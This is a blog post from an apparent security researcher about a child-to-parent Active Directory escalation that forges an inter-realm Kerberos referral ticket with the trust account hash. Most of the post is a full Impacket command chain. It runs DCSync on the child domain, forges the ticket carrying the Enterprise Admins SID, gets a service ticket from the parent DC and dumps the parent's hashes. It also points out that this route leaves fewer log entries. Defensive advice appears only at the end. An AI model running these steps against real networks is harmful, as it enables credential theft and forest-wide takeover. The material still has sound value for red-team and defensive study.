Extra-SID Attack via the Inter-Realm Trust Key: Skipping the Golden Ticket

• By lowercasenumbers

Extra-SID Attack via the Inter-Realm Trust Key: Skipping the Golden Ticket

Background

The Extra-SID attack for child-to-parent domain escalation within a forest is well documented. The canonical approach, described by Sean Metcalf and harmj0y, forges a Golden Ticket using the child domain’s krbtgt hash with the parent’s Enterprise Admins SID injected into the PAC’s ExtraSids field. Impacket’s raiseChild.py automates the whole thing.

There’s a second path, though, and it doesn’t get much coverage. Instead of forging a Golden Ticket and routing it through the child KDC, you can forge the inter-realm referral ticket directly using the inter-realm trust account hash, bypassing the child KDC entirely. This post explains why that works and when it’s the better move.


Kerberos Inter-Realm Authentication: The Protocol

Before getting into the attack, it helps to understand how cross-domain authentication actually works inside a same-forest environment.

When a user in child.corp.local wants to reach a service in corp.local:

  1. The client asks the child KDC for a TGS for that service.
  2. The child KDC recognises the service belongs to a different domain. Instead of a service ticket, it hands back a referral TGT: a cross-realm TGT encrypted with the inter-realm key shared between the two domains.
  3. The client takes that referral TGT to the parent KDC.
  4. The parent KDC decrypts it using its own copy of the inter-realm key, validates the PAC, and issues the service ticket.

Step 2 is the important one. The referral TGT is encrypted with the inter-realm key, not the child’s krbtgt key. The child krbtgt key covers the original TGT; when the child KDC issues the referral, it re-encrypts the ticket with the trust key.

The PAC inside that referral TGT carries the ExtraSids field. If the original TGT had extra SIDs injected via SID history, the child KDC copies them across into the referral. The parent KDC doesn’t re-validate these against a directory lookup. It trusts them because they came from inside the same forest, where SID filtering is off by default.


The Inter-Realm Key: What It Is and Where It Lives

Every forest trust creates a pair of inter-domain trust accounts. In child.corp.local, a machine account named CORP$ is created to represent the parent domain. In corp.local, the corresponding CHILD$ account is created on the other side.

The NT hash of CORP$ in the child domain is the RC4_HMAC inter-realm key. That’s the shared secret both KDCs use to sign referral tickets crossing from child to parent. Windows derives the Kerberos encryption keys for the trust relationship straight from the trust account’s password hash, the same mechanism as any machine account Kerberos key.

When you DCSync the child domain, it shows up like this:

CORP$:1103:aad3b435b51404eeaad3b435b51404ee:<nt_hash>:::

That NT hash is the inter-realm RC4 key. That’s all you need.


The Standard Approach: Golden Ticket via krbtgt

The documented technique collects:

  • Child domain krbtgt NT hash
  • Child domain SID
  • Parent domain Enterprise Admins SID (<parent_SID>-519)

And builds a Golden Ticket:

ticketer.py -nthash <child_krbtgt_hash> \
  -domain child.corp.local \
  -domain-sid <child_domain_SID> \
  -extra-sid <parent_domain_SID>-519 \
  Administrator

This produces a TGT for child.corp.local signed with the child’s krbtgt key. When you present it and ask for access to something in the parent domain, the child KDC processes the request, sees the cross-domain target, copies the ExtraSids into a fresh referral TGT signed with the trust key, and sends that back. The parent DC then honours the referral.

The child KDC has to be in the loop here. The Golden Ticket only works inside the child domain; the trust key conversion happens inside the child KDC.


The Trust Key Approach: Forge the Referral Directly

Rather than going through the child KDC, you can forge the referral TGT yourself. The referral TGT is the ticket that actually crosses the domain boundary, and it’s signed with the trust key you already pulled from the DCSync output.

ticketer.py -nthash <CORP$_nt_hash> \
  -domain child.corp.local \
  -domain-sid <child_domain_SID> \
  -extra-sid <parent_domain_SID>-519 \
  -spn krbtgt/corp.local \
  Administrator

The -spn krbtgt/corp.local flag is what changes the ticket type. Instead of building a standard intra-domain TGT, ticketer.py constructs an inter-realm TGT targeted at the parent KDC, encrypted with the trust key hash you supplied. That’s exactly what the parent KDC expects to receive from the child.

You then take it straight to the parent KDC:

export KRB5CCNAME=Administrator.ccache
getST.py -k -no-pass \
  -spn cifs/<parent_DC_FQDN> \
  -dc-ip <parent_DC_IP> \
  corp.local/Administrator

getST.py presents your forged referral TGT to the parent KDC. The parent decrypts it with the trust key, finds Enterprise Admins (-519) in ExtraSids, and issues a service ticket. The child KDC never sees any of this.


Why the Parent KDC Accepts It

The parent KDC’s validation of a referral TGT is pretty simple:

  1. Can it decrypt the ticket using the inter-realm key? Yes, because you signed it with the correct trust key.
  2. Is the ticket structurally valid (timestamps, realm, principal)? Yes, ticketer.py builds a proper Kerberos ticket structure.
  3. Should the ExtraSids be honoured? Yes. Same-forest trusts don’t apply SID filtering by default, so the parent trusts any SIDs arriving from within its own forest.

From the parent KDC’s perspective, your forged referral is indistinguishable from a legitimate one issued by the child KDC. Both are encrypted with the same key and carry the same structure.


Comparison: When to Use Each

Golden Ticket (krbtgt)Trust Key (CORP$)
Hash requiredChild krbtgtTrust account (CORP$)
Child KDC requiredYes, processes the referralNo, bypassed entirely
Detection surfaceTGT request + referral request to child KDCReferral TGT sent directly to parent KDC only
Works if child KDC is down/unreachableNoYes
DocumentationWell documentedSparse

The trust key approach leaves a smaller footprint. You skip one hop through the child KDC, which means one fewer authentication event in child domain logs. If the child DC is heavily monitored, going straight to the parent is the cleaner path.


Full Command Sequence

# 1. DCSync child domain to get the trust account hash and domain SIDs
secretsdump.py 'child.corp.local/DA_user@<child_DC_IP>' -hashes :<nthash> -just-dc-ntlm
# Note the CORP$ account hash; this is the inter-realm trust key

# 2. Get child domain SID
lookupsid.py 'child.corp.local/DA_user@<child_DC_IP>' -hashes :<nthash> 0

# 3. Get parent domain SID (pivot if needed)
lookupsid.py 'child.corp.local/DA_user@<parent_DC>' -hashes :<nthash> 0

# 4. Forge the inter-realm referral TGT
ticketer.py -nthash <CORP$_hash> \
  -domain child.corp.local \
  -domain-sid <child_SID> \
  -extra-sid <parent_SID>-519 \
  -spn krbtgt/corp.local \
  Administrator

# 5. Exchange for a service ticket against the parent DC
export KRB5CCNAME=Administrator.ccache
getST.py -k -no-pass \
  -spn cifs/<parent_DC_FQDN> \
  -dc-ip <parent_DC_IP> \
  corp.local/Administrator

# 6. DCSync the parent domain
export KRB5CCNAME='Administrator@cifs_<parent_DC>@CORP.LOCAL.ccache'
secretsdump.py -k -no-pass <parent_DC_FQDN> -just-dc-ntlm

Available Documentation Uses the Golden Ticket Approach

The public write-ups on child-to-parent escalation, including Sean Metcalf and harmj0y’s original research, document the Golden Ticket path. Tooling like raiseChild.py implements that path end-to-end. The trust key approach is not covered in the write-ups I’ve found, and nothing in the public tooling documentation explicitly connects ticketer.py’s -spn krbtgt/<domain> flag to the trust account hash as the correct key for forging the referral ticket.

The underlying principle is the same either way: get a ticket to the parent KDC that it can decrypt and that carries the right SIDs in the PAC. The Golden Ticket path does that through the child KDC; the trust key path does it without it.


Defensive Considerations

  • Enable SID filtering on child domain trusts. It’s off by default within a forest. Turning it on (netdom trust child.corp.local /domain:corp.local /quarantine:yes) will strip injected SIDs from cross-domain tickets and block this attack, though it’ll also break any in-flight SID-history migrations.
  • Treat a child DC compromise as a full forest compromise. Once an attacker has the trust account hash or the child krbtgt hash, the parent domain is gone. There’s no fixing it short of rotating the trust secrets and rebuilding the relationship.
  • Watch for anomalous Kerberos referral requests. Forged referral TGTs won’t have a corresponding AS-REQ in child domain event logs; the ticket was never legitimately issued. Event ID 4769 on the parent DC with an unusual referrer realm is worth alerting on.